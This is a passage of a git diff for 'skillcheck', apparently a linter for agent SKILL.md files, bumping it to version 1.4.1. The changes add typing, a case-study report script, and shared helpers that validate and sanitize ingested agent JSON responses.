args+=("--strict-cursor") + [ "$INPUT_STRICT" = "true" ] && args+=("--strict") + [ "$INPUT_SKIP_DIRNAME_CHECK" = "true" ] && args+=("--skip-dirname-check") + [ "$INPUT_SKIP_REF_CHECK" = "true" ] && args+=("--skip-ref-check") + [ "$INPUT_SEMANTIC" = "true" ] && args+=("--semantic") + [ "$INPUT_ANALYZE_GRAPH" = "true" ] && args+=("--analyze-graph") + [ "$INPUT_HISTORY" = "true" ] && args+=("--history") + [ "$INPUT_FAIL_ON_REGRESSION" = "true" ] && args+=("--fail-on-regression") + [ "$INPUT_EXPLAIN_SCORE" = "true" ] && args+=("--explain-score") + [ "$INPUT_ACTIVATION_HYPOTHESES" = "true" ] && args+=("--activation-hypotheses") + [ -n "$INPUT_MIN_DESC_SCORE" ] && args+=("--min-desc-score" "$INPUT_MIN_DESC_SCORE") + [ -n "$INPUT_TARGET_AGENT" ] && args+=("--target-agent" "$INPUT_TARGET_AGENT") + [ -n "$INPUT_MAX_LINES" ] && args+=("--max-lines" "$INPUT_MAX_LINES") + [ -n "$INPUT_MAX_TOKENS" ] && args+=("--max-tokens" "$INPUT_MAX_TOKENS") + [ -n "$INPUT_INGEST_CRITIQUE" ] && args+=("--ingest-critique" "$INPUT_INGEST_CRITIQUE") + [ -n "$INPUT_CRITIQUE_AGENT" ] && args+=("--critique-agent" "$INPUT_CRITIQUE_AGENT") + [ -n "$INPUT_INGEST_GRAPH" ] && args+=("--ingest-graph" "$INPUT_INGEST_GRAPH") + [ -n "$INPUT_GRAPH_AGENT" ] && args+=("--graph-agent" "$INPUT_GRAPH_AGENT") + IFS=',' read -ra PREFIXES <<< "$INPUT_IGNORE" for p in "${PREFIXES[@]}"; do [ -n "$p" ] && args+=("--ignore" "$(echo "$p" | xargs)") done diff --git a/pyproject.toml b/pyproject.toml index e3e3fe5..9d83aac 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -4,7 +4,7 @@ build-backend = "hatchling.build" [project] name = "skillcheck" -version = "1.4.0" +version = "1.4.1" description = "Cross-agent skill quality gate for SKILL.md files conforming to the agentskills.io specification" readme = "README.md" license = { text = "MIT" } @@ -27,11 +27,13 @@ classifiers = [ "Programming Language :: Python :: 3.12", "Programming Language :: Python :: 3.13", "Topic :: Software Development :: Quality Assurance", + "Typing :: Typed", ] [project.optional-dependencies] dev = [ "mypy>=1.10", + "pre-commit>=3.5", "pytest>=8.0", "pytest-cov>=5.0", "ruff>=0.6", @@ -66,7 +68,12 @@ ignore = ["E501"] # line-length in unchangeable string literals (JSON fixtures, [tool.mypy] strict = true python_version = "3.10" -files = ["src/skillcheck"] +files = [ + "src/skillcheck", + "scripts/regen_self_host_fixtures.py", + "scripts/skillcheck_case_study_report.py", + "scripts/summarize_batch.py", +] [[tool.mypy.overrides]] # tiktoken ships no type stubs; tomllib has no typeshed stubs under the pinned diff --git a/scripts/skillcheck_case_study_report.py b/scripts/skillcheck_case_study_report.py new file mode 100644 index 0000000..6dc1ebb --- /dev/null +++ b/scripts/skillcheck_case_study_report.py @@ -0,0 +1,374 @@ +#!/usr/bin/env python3 +from __future__ import annotations + +import json +import os +import re +import subprocess +import sys +from collections import Counter +from collections.abc import Iterable, Iterator +from dataclasses import dataclass +from datetime import datetime +from fractions import Fraction +from pathlib import Path +from typing import Any + +import yaml + +REPO_URL = "https://github.com/anthropics/skills.git" +EXPECTED_VERSION = "skillcheck 1.1.0" +WORKSPACE = Path(__file__).resolve().parents[1] +CORPUS = WORKSPACE / "anthropics-skills" +SKILLCHECK = Path( + os.environ.get( + "SKILLCHECK_BIN", + "/tmp/skillcheck-case-study-v1.1.0-venv/bin/skillcheck", + ) +) +RESULTS_JSON = CORPUS / "skillcheck-results.json" + + +@dataclass +class CommandResult: + command: str + stdout: str + stderr: str + exit_code: int + + +def run_command(args: list[str], cwd: Path) -> CommandResult: + proc = subprocess.run( + args, + cwd=cwd, + text=True, + capture_output=True, + ) + return CommandResult(shell_join(args), proc.stdout, proc.stderr, proc.returncode) + + +def run_shell(command: str, cwd: Path) -> CommandResult: + proc = subprocess.run( + command, + cwd=cwd, + text=True, + shell=True, + capture_output=True, + ) + return CommandResult(command, proc.stdout, proc.stderr, proc.returncode) + + +def shell_join(args: Iterable[str]) -> str: + return " ".join(shell_quote(str(arg)) for arg in args) + + +def shell_quote(value: str) -> str: + if re.fullmatch(r"[A-Za-z0-9_./:=@%+,-]+", value): + return value + return "'" + value.replace("'", "'\"'\"'") + "'" + + +def fence(text: str, language: str = "text") -> str: + longest = max((len(match.group(0)) for match in re.finditer(r"`+", text)), default=0) + ticks = "`" * max(3, longest + 1) + if text and not text.endswith("\n"): + text += "\n" + return f"{ticks}{language}\n{text}{ticks}\n" + + +def emit_command_block(lines: list[str], result: CommandResult, language: str = "text") -> None: + lines.append("Command:") + lines.append(fence(result.command, "shell").rstrip()) + lines.append(f"Exit code: `{result.exit_code}`") + lines.append("stdout:") + lines.append(fence(result.stdout, language).rstrip()) + if result.stderr: + lines.append("stderr:") + lines.append(fence(result.stderr, "text").rstrip()) + + +def first_n_lines(text: str, count: int) -> str: + return "".join(text.splitlines(keepends=True)[:count]) + + +def load_results() -> dict[str, Any]: + with RESULTS_JSON.open("r", encoding="utf-8") as handle: + data: dict[str, Any] = json.load(handle) + return data + + +def iter_diagnostics(data: dict[str, Any]) -> Iterator[tuple[str, dict[str, Any]]]: + for result in data.get("results", []): + path = result.get("path", "") + for diagnostic in result.get("diagnostics", []): + yield path, diagnostic + + +def parse_first_int(pattern: str, text: str) -> int | None: + match = re.search(pattern, text) + if not match: + return None + return int(match.group(1)) + + +def parse_frontmatter(path: Path) -> dict[str, Any]: + text = path.read_text(encoding="utf-8") + lines = text.splitlines() + if not lines or lines[0].strip() != "---": + return {} + for index in range(1, len(lines)): + if lines[index].strip() == "---": + raw = "\n".join(lines[1:index]) + parsed = yaml.safe_load(raw) or {} + if isinstance(parsed, dict): + return parsed + return {} + return {} + + +def exact_percentage(count: int, total: int) -> str: + if total == 0: + return "0%" + value = Fraction(count * 100, total) + if value.denominator == 1: + return f"{value.numerator}%" + return f"{value.numerator}/{value.denominator}%" + + +def main() -> int: + if not CORPUS.exists(): + print(f"missing corpus directory: {CORPUS}", file=sys.stderr) + return 2 + + date_run = datetime.now().astimezone().isoformat(timespec="seconds") + + version_result = run_command([str(SKILLCHECK), "--version"], WORKSPACE) + version_text = version_result.stdout.strip() + if version_text != EXPECTED_VERSION: + print(version_text) + return 2 + + git_sha = run_command(["git", "rev-parse", "HEAD"], CORPUS) + git_date = run_command(["git", "log", "-1", "--format=%cI"], CORPUS) + skill_files = run_shell("find . -name SKILL.md | sort", CORPUS) + skill_file_lines = [line for line in skill_files.stdout.splitlines() if line] + + with RESULTS_JSON.open("w", encoding="utf-8") as output: + main_proc = subprocess.run( + [str(SKILLCHECK), ".", "--format", "json"], + cwd=CORPUS, + text=True, + stdout=output, + stderr=subprocess.PIPE, + ) + main_command = f"{shell_quote(str(SKILLCHECK))} . --format json > skillcheck-results.json" + main_validation = CommandResult(main_command, "", main_proc.stderr, main_proc.returncode) + + data = load_results() + + feature_activation = run_command( + [str(SKILLCHECK), "skills/pptx/SKILL.md", "--activation-hypotheses", "--format", "json"], + CORPUS, + ) + feature_critique = run_command( + [str(SKILLCHECK), "skills/canvas-design/SKILL.md", "--emit-critique-prompt"], + CORPUS, + ) + feature_graph_analyze = run_command( + [str(SKILLCHECK), "skills/docx/SKILL.md", "--analyze-graph", "--format", "json"], + CORPUS, + ) + feature_graph_emit = run_command( + [str(SKILLCHECK), "skills/docx/SKILL.md", "--emit-graph", "--format", "json"], + CORPUS, + ) + feature_history = run_command( + [str(SKILLCHECK), "skills/pptx/SKILL.md", "--history"], + CORPUS, + ) + history_files = sorted(CORPUS.glob("**/.skillcheck-history.json")) + history_file_contents = [] + for history_file in history_files: + history_file_contents.append( + ( + history_file.relative_to(CORPUS).as_posix(), + history_file.read_text(encoding="utf-8"), + ) + ) + feature_show_history = run_command( + [str(SKILLCHECK), "skills/pptx/SKILL.md", "--show-history", "--format", "json"], + CORPUS, + ) + + severity: Counter[str] = Counter() + rules: Counter[str] = Counter() + errors = [] + metadata_budget = [] + line_cap: list[tuple[str, int | None]] = [] + body_budget_by_file: dict[str, list[tuple[str, int]]] = {} + + for path, diagnostic in iter_diagnostics(data): + rule = diagnostic.get("rule", "") + severity_value = diagnostic.get("severity", "") + message = diagnostic.get("message", "") + severity[severity_value] += 1 + rules[rule] += 1 + + if severity_value == "error": + errors.append((path, rule, message)) + + if rule == "disclosure.metadata-budget": + estimate = parse_first_int(r"Frontmatter uses ~(\d+) tokens", message) + metadata_budget.append((path, estimate)) + + if rule == "sizing.body.line-count": + line_count = parse_first_int(r"got (\d+) lines", message) + line_cap.append((path, line_count)) + + if rule in {"disclosure.body-budget", "sizing.body.token-estimate"}: + estimate = ( + parse_first_int(r"estimated (\d+) tokens", message) + or parse_first_int(r"Body uses ~(\d+) tokens", message) + ) + if estimate is not None and estimate > 8000: + body_budget_by_file.setdefault(path, []).append((rule, estimate)) + + skill_paths = sorted(CORPUS.rglob("SKILL.md")) + license_paths = [] + for skill_path in skill_paths: + frontmatter = parse_frontmatter(skill_path) + if "license" in frontmatter: + license_paths.append("./" + skill_path.relative_to(CORPUS).as_posix()) + + lines: list[str] = [] + lines.append("# skillcheck v1.1.0 case study: anthropics/skills") + lines.append("") + lines.append("## Methodology") + lines.append(f"Date run: `{date_run}`") + lines.append(f"skillcheck version: `{version_text}`") + lines.append(f"repo URL: `{REPO_URL}`") + lines.append(f"commit SHA: `{git_sha.stdout.strip()}`") + lines.append(f"commit date: `{git_date.stdout.strip()}`") + lines.append(f"file count: `{len(skill_file_lines)}`") + lines.append(f"main validation command: `{main_validation.command}`") + lines.append("") + lines.append("skillcheck --version output:") + lines.append(fence(version_result.stdout).rstrip()) + lines.append("git rev-parse HEAD output:") + lines.append(fence(git_sha.stdout).rstrip()) + lines.append("git log -1 --format=%cI output:") + lines.append(fence(git_date.stdout).rstrip()) + lines.append("find . -name SKILL.md | sort output:") + lines.append(fence(skill_files.stdout).rstrip()) + if skill_files.stderr: + lines.append("find . -name SKILL.md | sort stderr:") + lines.append(fence(skill_files.stderr).rstrip()) + if main_validation.stderr: + lines.append("main validation stderr:") + lines.append(fence(main_validation.stderr).rstrip()) + lines.append("") + + lines.append("## Headline numbers") + lines.append(f"files_checked: `{data.get('files_checked')}`") + lines.append(f"files_passed: `{data.get('files_passed')}`") + lines.append(f"files_failed: `{data.get('files_failed')}`") + lines.append(f"exit code: `{main_validation.exit_code}`") + lines.append(f"error count: `{severity['error']}`") + lines.append(f"warning count: `{severity['warning']}`") + lines.append(f"info count: `{severity['info']}`") + lines.append("") + + lines.append("## Rule frequency") + lines.append("| count | rule ID |") + lines.append("|---:|---|") + for rule, count in sorted(rules.items(), key=lambda item: (-item[1], item[0])): + lines.append(f"| {count} | `{rule}` |") + lines.append("") + + lines.append("## Failing files") + failing_files = [result.get("path", "") for result in data.get("results", []) if not result.get("valid")] + for path in failing_files: + lines.append(f"- `{path}`") + lines.append("") + + lines.append("## Errors in detail") + for path, rule, message in errors: + lines.append(f"- file path: `{path}`") + lines.append(f" rule ID: `{rule}`") + lines.append(" message:") + lines.append(fence(message).rstrip()) + lines.append("") + + lines.append("## license field drift") + lines.append(f"count: `{len(license_paths)}`") + lines.append(f"total: `{len(skill_paths)}`") + lines.append(f"percentage: `{exact_percentage(len(license_paths), len(skill_paths))}`") + for path in license_paths: + lines.append(f"- `{path}`") + lines.append("") + + lines.append("## Body token budget violations") + for path in sorted(body_budget_by_file): + values = "; ".join(f"{rule}={estimate}" for rule, estimate in body_budget_by_file[path]) + lines.append(f"- `{path}`: {values}") + lines.append("") + + lines.append("## Body line cap violations") + for path, line_count in sorted(line_cap): + lines.append(f"- `{path}`: {line_count}") + lines.append("") + + lines.append("## Metadata token budget violations") + lines.append(f"count: `{len(metadata_budget)}`") + for path, estimate in sorted(metadata_budget): + lines.append(f"- `{path}`: {estimate}") + lines.append("") + + lines.append("## v1.1.0 feature outputs (raw)") + lines.append("### Activation hypotheses (skills/pptx)") + emit_command_block(lines, feature_activation, "json") + lines.append("") + + lines.append("### Self-critique prompt schema (skills/canvas-design, first 60 lines)") + critique_first_60 = CommandResult( + feature_critique.command, + first_n_lines(feature_critique.stdout, 60), + feature_critique.stderr, + feature_critique.exit_code, + ) + emit_command_block(lines, critique_first_60, "text") + lines.append("") + + lines.append("### Capability graph analyze (skills/docx)") + emit_command_block(lines, feature_graph_analyze, "json") + lines.append("") + + lines.append("### Capability graph emit (skills/docx)") + emit_command_block(lines, feature_graph_emit, "json") + lines.append("") + + lines.append("### History ledger write + read back (skills/pptx)") + lines.append("History write:") + emit_command_block(lines, feature_history, "text") + lines.append(f"History file exists: `{bool(history_files)}`") + for path, content in history_file_contents: + lines.append(f"History file path: `{path}`") + lines.append("History file contents:") + lines.append(fence(content, "json").rstrip()) + lines.append("History read back:") + emit_command_block(lines, feature_show_history, "json") + lines.append("") + + lines.append("## Reproduction") + lines.append(fence(f"python3 -m venv /tmp/skillcheck-case-study-v1.1.0-venv && /tmp/skillcheck-case-study-v1.1.0-venv/bin/pip install skillcheck==1.1.0\n" + f"git clone --depth 1 {REPO_URL} anthropics-skills\n" + f"cd anthropics-skills && /tmp/skillcheck-case-study-v1.1.0-venv/bin/skillcheck . --format json > skillcheck-results.json\n" + f"SKILLCHECK_BIN=/tmp/skillcheck-case-study-v1.1.0-venv/bin/skillcheck /tmp/skillcheck-case-study-v1.1.0-venv/bin/python {WORKSPACE / 'scripts/skillcheck_case_study_report.py'} > {WORKSPACE / 'skillcheck-case-study-findings.md'}", + "shell").rstrip()) + + print("\n".join(lines)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/scripts/summarize_batch.py b/scripts/summarize_batch.py index a45d9c2..da6e177 100644 --- a/scripts/summarize_batch.py +++ b/scripts/summarize_batch.py @@ -2,16 +2,17 @@ """Summarize skillcheck batch-run artifacts.""" from __future__ import annotations -from collections import Counter import argparse import csv import json +from collections import Counter from pathlib import Path +from typing import Any SEVERITIES = ("error", "warning", "info") -def load_json_report(path: Path) -> tuple[dict | None, str]: +def load_json_report(path: Path) -> tuple[dict[str, Any] | None, str]: if not path.is_file(): return None, "missing" try: @@ -23,9 +24,9 @@ def load_json_report(path: Path) -> tuple[dict | None, str]: return data, "ok" -def iter_diagnostics(report: dict) -> list[dict]: +def iter_diagnostics(report: dict[str, Any]) -> list[dict[str, Any]]: """Return diagnostics from both legacy and CLI report JSON shapes.""" - diagnostics: list[dict] = [] + diagnostics: list[dict[str, Any]] = [] top_level = report.get("diagnostics") if isinstance(top_level, list): diagnostics.extend(d for d in top_level if isinstance(d, dict)) @@ -42,7 +43,7 @@ def iter_diagnostics(report: dict) -> list[dict]: return diagnostics -def severity_counts(report: dict | None) -> dict[str, int] | None: +def severity_counts(report: dict[str, Any] | None) -> dict[str, int] | None: if report is None: return None counts = dict.fromkeys(SEVERITIES, 0) @@ -53,7 +54,7 @@ def severity_counts(report: dict | None) -> dict[str, int] | None: return counts -def rule_counts(report: dict | None, severity: str | None = None) -> Counter[str]: +def rule_counts(report: dict[str, Any] | None, severity: str | None = None) -> Counter[str]: counts: Counter[str] = Counter() if report is None: return counts @@ -74,7 +75,7 @@ def collection_len(value: object) -> int: return len(value) if isinstance(value, list) else 0 -def graph_shape(graph: dict | None) -> tuple[int | None, int | None, int | None, int | None]: +def graph_shape(graph: dict[str, Any] | None) -> tuple[int | None, int | None, int | None, int | None]: if graph is None: return None, None, None, None return ( @@ -126,15 +127,15 @@ def fmt_count_pair(errors: int | None, warnings: int | None) -> str: return f"{errors}/{warnings}" -def fmt_graph_shape(row: dict) -> str: +def fmt_graph_shape(row: dict[str, Any]) -> str: values = (row["caps"], row["ins"], row["outs"], row["edges"]) if any(v is None for v in values): return "n/a" return "/".join(str(v) for v in values) -def collect_rows(batch_dir: Path) -> list[dict]: - rows: list[dict] = [] +def collect_rows(batch_dir: Path) -> list[dict[str, Any]]: + rows: list[dict[str, Any]] = [] for repo_dir in sorted(batch_dir.iterdir()): if not repo_dir.is_dir(): continue @@ -212,7 +213,7 @@ def collect_rows(batch_dir: Path) -> list[dict]: return rows -def write_csv(rows: list[dict], batch_dir: Path) -> Path: +def write_csv(rows: list[dict[str, Any]], batch_dir: Path) -> Path: csv_path = batch_dir / "summary.csv" if not rows: csv_path.write_text("") @@ -224,7 +225,7 @@ def write_csv(rows: list[dict], batch_dir: Path) -> Path: return csv_path -def write_findings(rows: list[dict], batch_dir: Path) -> Path: +def write_findings(rows: list[dict[str, Any]], batch_dir: Path) -> Path: md = batch_dir / "findings.md" lines = [f"# {batch_dir.name} findings", ""] lines.append(f"Skills evaluated: {len(rows)}") diff --git a/skills/skillcheck/SKILL.md b/skills/skillcheck/SKILL.md index 167c2fc..34d3770 100644 --- a/skills/skillcheck/SKILL.md +++ b/skills/skillcheck/SKILL.md @@ -1,7 +1,7 @@ --- name: skillcheck description: Validates and scores SKILL.md files against the agentskills.io specification; use when linting skills for cross-agent compatibility, description quality, or capability graph structure. -version: "1.4.0" +version: "1.4.1" author: "Brad Kinnard (moonrunnerkc), Aftermath Technologies Ltd" --- diff --git a/src/skillcheck/__init__.py b/src/skillcheck/__init__.py index 9974340..3cf93f0 100644 --- a/src/skillcheck/__init__.py +++ b/src/skillcheck/__init__.py @@ -2,7 +2,7 @@ from skillcheck.parser import ParsedSkill, ParseError from skillcheck.result import Diagnostic, Severity, ValidationResult -__version__ = "1.4.0" +__version__ = "1.4.1" __all__ = [ "validate", diff --git a/src/skillcheck/agents/_ingest.py b/src/skillcheck/agents/_ingest.py new file mode 100644 index 0000000..964f62f --- /dev/null +++ b/src/skillcheck/agents/_ingest.py @@ -0,0 +1,158 @@ +"""Shared hardening helpers for ingested agent responses. + +Critique and graph responses are untrusted input: an agent (or whatever fed +the agent) can put anything in the JSON. Two risks are handled here. + +1. Terminal control characters. Ingested strings are printed into the + human-readable report. A response carrying raw ANSI escapes (ESC, 0x1B) + could forge output, e.g. a fake ``PASS`` line or a cleared screen. + ``sanitize_ingested_text`` replaces each C0 control char, DEL, and C1 + control char with its visible backslash-escaped form so the content stays + inert without being silently dropped. + +The JSON output path is already safe: ``json.dumps`` escapes control +characters, so sanitization is applied only where text reaches the terminal. +""" + +from __future__ import annotations + +import json +import re + +from skillcheck.agents._response_text import strip_response_noise + +# Maximum size of a single ingested response (stdin or file). A real critique or +# graph response is a few KB; 5 MiB is a generous ceiling that still bounds a +# hostile or runaway payload. +MAX_INGEST_BYTES = 5 * 1024 * 1024 + +# Maximum number of items in any single ingested list (findings, missing_context, +# contradictions, capabilities, inputs, outputs, edges). A real response has a +# handful; this bounds a payload that is one enormous list of tiny items. +MAX_INGEST_LIST_ITEMS = 10_000 + +# C0 controls (0x00-0x1F), DEL (0x7F), and C1 controls (0x80-0x9F). These carry +# ANSI/terminal escape sequences; ESC (0x1B) is the one that matters most. +_CONTROL_CHARS_RE = re.compile(r"[\x00-\x1f\x7f-\x9f]") + + +def enforce_list_cap(count: int, field: str, error_cls: type[Exception]) -> None: + """Raise *error_cls* if an ingested list exceeds ``MAX_INGEST_LIST_ITEMS``. + + Args: + count: Number of items in the ingested list. + field: Field name for the error message, e.g. "findings". + error_cls: Parser-specific exception type to raise (CritiqueSchemaError, + GraphSchemaError). + + Raises: + error_cls: When *count* exceeds the cap. The message names the field, + the count, and the cap. + """ + if count > MAX_INGEST_LIST_ITEMS: + raise error_cls( + f"Ingested '{field}' has {count} items, over the {MAX_INGEST_LIST_ITEMS}-item cap. " + f"The response is unreasonably large; trim it or split the run into smaller batches." + ) + + +def decode_json_or_raise(raw: str, error_cls: type[Exception]) -> object: + """Strip response noise, parse JSON, or raise *error_cls* on failure. + + Shared by the critique and graph parsers. The error message names the + decoder's position and the first 200 characters received (newlines + collapsed) so callers get context without dumping the full response. + + Args: + raw: Raw agent response (may include markdown fences or prose preamble). + error_cls: Parser-specific JSON-error type to raise (CritiqueJSONError, + GraphJSONError). + + Returns: + The decoded JSON value (dict, list, or scalar; callers type-check it). + + Raises: + error_cls: When the cleaned text is not valid JSON. The original + JSONDecodeError is preserved as the cause. + """ + cleaned = strip_response_noise(raw) + try: + return json.loads(cleaned) + except json.JSONDecodeError as err: + preview = raw[:200].replace("\n", " ") + raise error_cls( + f"Response is not valid JSON (error at position {err.pos}): " + f"first 200 chars: {preview!r}" + ) from err + + +def require_field( + obj: dict[str, object], + key: str, + expected_type: type | tuple[type, ...], + *, + error_cls: type[Exception], + context: str = "", +) -> object: + """Extract a required field from *obj* with type checking. + + Shared by the critique and graph parsers. ``bool`` is rejected for ``int`` + fields (and for ``(int, None)`` unions), since it is an int subclass but + never a valid score or line number. + + Args: + obj: Mapping to extract from. + key: Required field name. + expected_type: Acceptable Python type, or a tuple of types for a union. + error_cls: Parser-specific schema-error type to raise (CritiqueSchemaError, + GraphSchemaError). + context: Optional prefix for error messages, e.g. "findings[0]". + + Returns: + The field value. + + Raises: + error_cls: If the field is missing, has the wrong type, or is a bool + where an int is required. + """ + full_key = f"{context}.{key}" if context else key + if key not in obj: + raise error_cls(f"Missing required field '{full_key}'") + value = obj[key] + if expected_type is int and isinstance(value, bool): + raise error_cls(f"Field '{full_key}' must be int, got bool: {value!r}") + if ( + isinstance(expected_type, tuple) + and int in expected_type + and isinstance(value, bool) + ): + raise error_cls(f"Field '{full_key}' must be int or null, got bool: {value!r}") + if not isinstance(value, expected_type): + if isinstance(expected_type, tuple): + type_name = " or ".join( + "null" if t is type(None) else t.__name__ for t in expected_type + ) + else: + type_name = expected_type.__name__ + raise error_cls( + f"Field '{full_key}' must be {type_name}, " + f"got {type(value).__name__}: {value!r}" + ) + return value + + +def sanitize_ingested_text(text: str) -> str: + """Return *text* with terminal control characters escaped to a visible form. + + Each control character is replaced by its Python backslash escape (ESC + becomes the four visible characters ``\\x1b``, a newline becomes ``\\n``), + so a malicious response cannot emit raw escape sequences or break out of a + single report line. + + Args: + text: A string taken from an ingested agent response. + + Returns: + The same text with every control character rendered inert. + """ + return _CONTROL_CHARS_RE.sub(lambda m: repr(m.group(0))[1:-1], text) diff --git a/src/skillcheck/agents/graph_parser.py b/src/skillcheck/agents/graph_parser.py index d473560..a2d177a 100644 --- a/src/skillcheck/agents/graph_parser.py +++ b/src/skillcheck/agents/graph_parser.py @@ -10,11 +10,14 @@ from __future__ import annotations -import json from collections.abc import Mapping from typing import Literal -from skillcheck.agents._response_text import strip_response_noise +from skillcheck.agents._ingest import ( + decode_json_or_raise, + enforce_list_cap, + require_field, +) from skillcheck.core.graph import Capability, CapabilityGraph, Edge, Input, Output from skillcheck.parser import ParsedSkill @@ -108,51 +111,12 @@ def _require_field( expected_type: type | tuple[type, ...], context: str = "", ) -> object: - """Extract a required field with type checking. - - Args: - obj: Mapping to extract from. - key: Required field name. - expected_type: Acceptable Python type(s). For union types pass a tuple. - context: Optional prefix for error messages, e.g. "capabilities[0]". - - Returns: - The field value. + """Extract a required field, raising GraphSchemaError on missing/wrong type. - Raises: - GraphSchemaError: If the field is missing, has wrong type, or (for int) - is actually a bool (bool is an int subclass but not a line number). + Thin binding of the shared ``require_field`` to this parser's error class; + see ``agents/_ingest.py`` for the checking logic. """ - full_key = f"{context}.{key}" if context else key - if key not in obj: - raise GraphSchemaError(f"Missing required field '{full_key}'") - value = obj[key] - # bool is a subclass of int; reject it for integer fields. - if expected_type is int and isinstance(value, bool): - raise GraphSchemaError( - f"Field '{full_key}' must be int, got bool: {value!r}" - ) - # For (int, NoneType) unions, bool is also rejected. - if ( - isinstance(expected_type, tuple) - and int in expected_type - and isinstance(value, bool) - ): - raise GraphSchemaError( - f"Field '{full_key}' must be int or null, got bool: {value!r}" - ) - if not isinstance(value, expected_type): - if isinstance(expected_type, tuple): - type_name = " or ".join( - "null" if t is type(None) else t.__name__ for t in expected_type - ) - else: - type_name = expected_type.__name__ - raise GraphSchemaError( - f"Field '{full_key}' must be {type_name}, " - f"got {type(value).__name__}: {value!r}" - ) - return value + return require_field(obj, key, expected_type, error_cls=GraphSchemaError, context=context) def _check_no_extra_fields(obj: Mapping[str, object], allowed: Mapping[str, object], context: str) -> None: @@ -273,16 +237,7 @@ def parse_graph_response(raw: str, skill: ParsedSkill) -> CapabilityGraph: GraphValueError: Schema matches but values violate semantic rules (out-of-range line numbers, duplicate IDs, dangling edge references). """ - cleaned = strip_response_noise(raw) - - try: - data = json.loads(cleaned) - except json.JSONDecodeError as exc: - preview = raw[:200].replace("\n", " ") - raise GraphJSONError( - f"Response is not valid JSON (error at position {exc.pos}): " - f"first 200 chars: {preview!r}" - ) from exc + data = decode_json_or_raise(raw, GraphJSONError) if not isinstance(data, dict): raise GraphSchemaError( @@ -298,6 +253,9 @@ def parse_graph_response(raw: str, skill: ParsedSkill) -> CapabilityGraph: for key, expected_type in _TOP_LEVEL_FIELDS.items(): _require_field(data, key, expected_type) + for key in _TOP_LEVEL_FIELDS: + enforce_list_cap(len(data[key]), key, GraphSchemaError) + # Parse node collections. capabilities = tuple( _parse_capability(item, i) diff --git a/src/skillcheck/agents/parser.py b/src/skillcheck/agents/parser.py index ddcff37..dfb8bd8 100644 --- a/src/skillcheck/agents/parser.py +++ b/src/skillcheck/agents/parser.py @@ -10,9 +10,11 @@ from __future__ import annotations -import json - -from skillcheck.agents._response_text import strip_response_noise +from skillcheck.agents._ingest import ( + decode_json_or_raise, + enforce_list_cap, + require_field, +) from skillcheck.agents.schema import ( Contradiction, CritiqueFinding, @@ -74,40 +76,12 @@ class CritiqueValueError(CritiqueParseError): def _require_field(obj: dict[str, object], key: str, expected_type: type | tuple[type, ...], context: str = "") -> object: - """Extract a required field with type checking. - - Args: - obj: Mapping to extract from. - key: Required field name. - expected_type: Acceptable Python type(s). - context: Optional prefix for error messages, e.g. "findings[0]". + """Extract a required field, raising CritiqueSchemaError on missing/wrong type. - Returns: - The field value. - - Raises: - CritiqueSchemaError: If field is missing, has wrong type, or (for int) - is actually a bool (which is an int subclass but not a score). + Thin binding of the shared ``require_field`` to this parser's error class; + see ``agents/_ingest.py`` for the checking logic. """ - full_key = f"{context}.{key}" if context else key - if key not in obj: - raise CritiqueSchemaError(f"Missing required field '{full_key}'") - value = obj[key] - # bool is a subclass of int; reject it for score fields - if expected_type is int and isinstance(value, bool): - raise CritiqueSchemaError( - f"Field '{full_key}' must be int, got bool: {value!r}" - ) - if not isinstance(value, expected_type): - type_name = ( - expected_type.__name__ - if isinstance(expected_type, type) - else "/".join(t.__name__ for t in expected_type) - ) - raise CritiqueSchemaError( - f"Field '{full_key}' must be {type_name}, got {type(value).__name__}: {value!r}" - ) - return value + return require_field(obj, key, expected_type, error_cls=CritiqueSchemaError, context=context) def _parse_finding(raw: object, index: int) -> CritiqueFinding: @@ -203,16 +177,7 @@ def parse_critique_response(raw: str) -> SemanticCritique: CritiqueValueError: Schema matches but a value is out of the allowed range. Message includes the offending value. """ - cleaned = strip_response_noise(raw) - - try: - payload = json.loads(cleaned) - except json.JSONDecodeError as err: - preview = raw[:200] - raise CritiqueJSONError( - f"Agent response is not valid JSON (at position {err.pos}). " - f"First 200 chars received: {preview!r}" - ) from err + payload = decode_json_or_raise(raw, CritiqueJSONError) if not isinstance(payload, dict): raise CritiqueSchemaError( @@ -247,10 +212,12 @@ def parse_critique_response(raw: str) -> SemanticCritique: raw_findings = _require_field(payload, "findings", list) assert isinstance(raw_findings, list) + enforce_list_cap(len(raw_findings), "findings", CritiqueSchemaError) findings = tuple(_parse_finding(item, i) for i, item in enumerate(raw_findings)) raw_missing = _require_field(payload, "missing_context", list) assert isinstance(raw_missing, list) + enforce_list_cap(len(raw_missing), "missing_context", CritiqueSchemaError) for i, item in enumerate(raw_missing): if not isinstance(item, str): raise CritiqueSchemaError( @@ -260,6 +227,7 @@ def parse_critique_response(raw: str) -> SemanticCritique: raw_contradictions = _require_field(payload, "contradictions", list) assert isinstance(raw_contradictions, list) + enforce_list_cap(len(raw_contradictions), "contradictions", CritiqueSchemaError) contradictions = tuple( _parse_contradiction(item, i) for i, item in enumerate(raw_contradictions) ) diff --git a/src/skillcheck/cli.py b/src/skillcheck/cli.py index ca8bf16..a8d502f 100644 --- a/src/skillcheck/cli.py +++ b/src/skillcheck/cli.py @@ -303,6 +303,8 @@ def _apply_config(args: argparse.Namespace, parser: argparse.ArgumentParser) -> loaded_config = load_config(config_path) except ConfigError as exc: parser.error(str(exc)) + if config_path is not None: + print(f"Loaded config from {config_path}", file=sys.stderr) runtime_config.set_extension_fields(loaded_config.extension_fields) if loaded_config.reserved_words is not None: @@ -342,6 +344,133 @@ def _apply_config(args: argparse.Namespace, parser: argparse.ArgumentParser) -> args.graph_agent = loaded_config.graph_agent +# --------------------------------------------------------------------------- +# Mode conflict resolution +# +# Conflicts are declared as a static table: each entry pairs two CLI flags with +# a one-line reason. _die_on_mode_conflict walks the table once, reports the +# first conflicting pair, and exits 2. Hoisted to module level so the table is +# built once at import, not rebuilt on every invocation. +# --------------------------------------------------------------------------- + +_PAIRWISE_CONFLICTS: list[tuple[str, str, str]] = [ + ( + "--emit-critique-prompt", "--ingest-critique", + "Cannot use --emit-critique-prompt and --ingest-critique together. " + "Pick one: emit a prompt for your agent to execute, or ingest the agent's response.", + ), + ( + "--emit-graph", "--analyze-graph", + "Cannot use --emit-graph with --analyze-graph. " + "--emit-graph is an emit mode (replaces the report). " + "--analyze-graph is an augment mode (adds to the report).", + ), + ( + "--emit-graph", "--ingest-critique", + "Cannot use --emit-graph with --ingest-critique. " + "--emit-graph replaces the report; --ingest-critique augments it.", + ), + ( + "--emit-graph-prompt", 